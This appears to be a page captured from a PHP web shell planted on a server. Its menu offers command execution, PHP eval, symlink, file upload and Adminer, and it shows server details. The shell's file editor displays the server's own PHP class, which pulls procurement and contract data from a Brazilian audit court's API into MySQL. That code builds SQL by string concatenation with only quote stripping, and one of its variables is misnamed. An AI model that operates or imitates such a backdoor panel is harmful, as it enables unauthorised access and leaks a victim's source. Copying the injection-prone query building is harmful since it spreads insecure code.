Home Files
Adminer
Execute Command
PHP Eval
Symlink
File Upload
Owner :
www-data
PHP Version
8.1.8
Disk Space
203.89 GB
Server Addr
171.9.3.2
Your IP
171.9.3.1
Edit File
File:
<?php class Apitcemagov { public function SalvarDados($exercicio = null, $sql, $codigotce = null, $codigounidade = null) { $qrConfigLicita = $sql->consulta("Select * from tablicitacaoconfig"); $ddConfigLicita = $sql->resultado($qrConfigLicita); if ($codigotce == '') { echo "preencha o código do cliente"; exit;} date_default_timezone_set('America/Sao_Paulo'); $dataAtual = date('Y-m-d H:i:s'); //echo $ddConfigLicita['DataTceMa'].'<br>'.$dataAtual; if ($ddConfigLicita['DataTceMa'] == '' or (strtotime('+60 minute', strtotime($ddConfigLicita['DataTceMa'])) < strtotime($dataAtual) ) ) { $sql->consulta("UPDATE tablicitacaoconfig SET DataTceMa = '".$dataAtual."'"); //echo "fez update"; if ($exercicio != '') { $exercicio = (int) $exercicio; } else { $exercicio = '2021'; } if ($ddConfigLicita['DataTceMa'] != '') { $exercicioMysql = " WHERE exercicio = '".$exercicio."'"; $exercicioGet = "&exercicio=".$exercicio; } $caracter = array("'",'"'); $replace = array(' ',' '); if ($codigounidade != '') { $exercicioGet = $exercicioGet.'&unidadeId='.$codigounidade; } else { $exercicioGet = $exercicioGet.'&poderId=1'; } $json_file = file_get_contents("http://app.tce.ma.gov.br/tce/api/licitacoes?enteId=".$codigotce.$exercicioGet); //var_dump("http://app.tce.ma.gov.br/tce/api/licitacoes?enteId=".$codigotce.$exercicioGet); if ($json_file != null) { $json_str = json_decode($json_file, true); $json_str = $json_str['content']; foreach ($json_str as $key => $row) { if ($row['numeroInstrumento'] != '') { $row['numeroInstrumento'] = $row['numeroInstrumento']."/".$row['anoInstrumento']; } else { $row['numeroInstrumento'] = ''; } if ($row['numeroProcesso'] != '') { $row['numeroProcesso'] = $row['numeroProcesso']."/".$row['anoProcesso']; } else { $row['numeroProcesso'] = ''; } if ($row['modalidadeLicitacao']['nome'] != '') { $row['modalidadeLicitacao']['nome'] = $row['modalidadeLicitacao']['nome']; } else { $row['modalidadeLicitacao']['nome'] = $row['tipoContratacaoDireta']['nome']; } if ($row['dataAbertura'] == '') { if ($row['dataAviso'] != '') { $row['dataAbertura'] = $row['dataAviso']; } else if ($row['dataPublicacao'] != '') { $row['dataAbertura'] = $row['dataPublicacao']; } else { $row['dataAbertura'] = $row['dataEnvio']; } } $dataAbertura = substr($row['dataAbertura'], 0, 10); $time = explode("/", $dataAbertura); if ($row['coronavirus'] == true) { $coronavirus = '1'; } else { $coronavirus = ''; } $row['objeto'] = str_replace($caracter,$replace,$row['objeto']); $row['numeroProcesso'] = str_replace($caracter,$replace,$row['numeroProcesso']); $row['numeroInstrumento'] = str_replace($caracter,$replace,$row['numeroInstrumento']); $arrayInsert[] = "('".$row['exercicio']."', '".$row['numeroProcesso']."', '".$row['numeroInstrumento']."', '".$row['modalidadeLicitacao']['nome']."', '".$row['tipoLicitacao']['nome']."', '".$row['unidade']['nome']."', '".$row['objeto']."', '".$time[2]."-".$time[1]."-".$time[0]." ".substr($row['dataAbertura'], 11)."', '".$row['statusLicitacao']['nome']."', '".$row['licitacaoId']."', '".$coronavirus."')"; } if (count($arrayInsert) > 0) { $sql->consulta("DELETE FROM tablicitacaotcema".$exercicioMysql); if (count($arrayInsert) == 1) { $insert = $arrayInsert[0]; } else { $insert = implode(',', $arrayInsert); } try { $sql->consulta(" INSERT INTO tablicitacaotcema (exercicio, numeroProcesso, numeroInstrumento, modalidadeLicitacao, tipoLicitacao, unidade, objeto, dataAbertura, statusLicitacao, licitacaoId, coronavirus) VALUES ".$insert." ; "); } catch (Exception $erro) { echo $erro->getMessage(); } } //echo "Foi"; } $arrayInsert = null; $json_file_c = file_get_contents("http://app.tce.ma.gov.br/tce/api/contratos?enteId=".$CodigoTce.$exercicioGet); if ($json_file_c != null) { $json_str_c = json_decode($json_file_c, true); $json_str_c = $json_str_c['content']; foreach ($json_str_c as $key => $row) { $time = explode("/", substr($row['dataVigenciaInicio'], 0, 10)); $row['objeto'] = str_replace($caracter,$replace,$row['objeto']); $row['numeroContrato'] = str_replace($caracter,$replace,$row['numeroContrato']); $row['fornecedor']['nome'] = str_replace($caracter,$replace,$row['fornecedor']['nome']); if ($row['coronavirus'] == true) { $coronavirus = '1'; } else { $coronavirus = ''; } $arrayInsert[] = "('".$row['exercicio']."', '".$row['numeroContrato']."', '".$row['fornecedor']['cpfCnpj']."', '".$row['fornecedor']['nome']."', '".$row['unidade']['nome']."', '".$row['objeto']."', '".$time[2]."-".$time[1]."-".$time[0]." ".substr($row['dataVigenciaInicio'], 11)."', '".$row['valorContrato']."', '".$row['contratoId']."', '".$row['coronavirus']."')"; } if (count($arrayInsert) > 0) { $sql->consulta("DELETE FROM tabcontratotcema".$exercicioMysql); if (count($arrayInsert) == 1) { $insert = $arrayInsert[0]; } else { $insert = implode(',', $arrayInsert); } try { $sql->consulta(" INSERT INTO tabcontratotcema (exercicio, numeroContrato, cpfCnpj, fornecedor, unidade, objeto, dataVigenciaInicio, valorContrato, contratoId, coronavirus) VALUES ".$insert." ; "); } catch (Exception $erro) { echo $erro->getMessage(); } } //echo "Foi"; } return null; } } }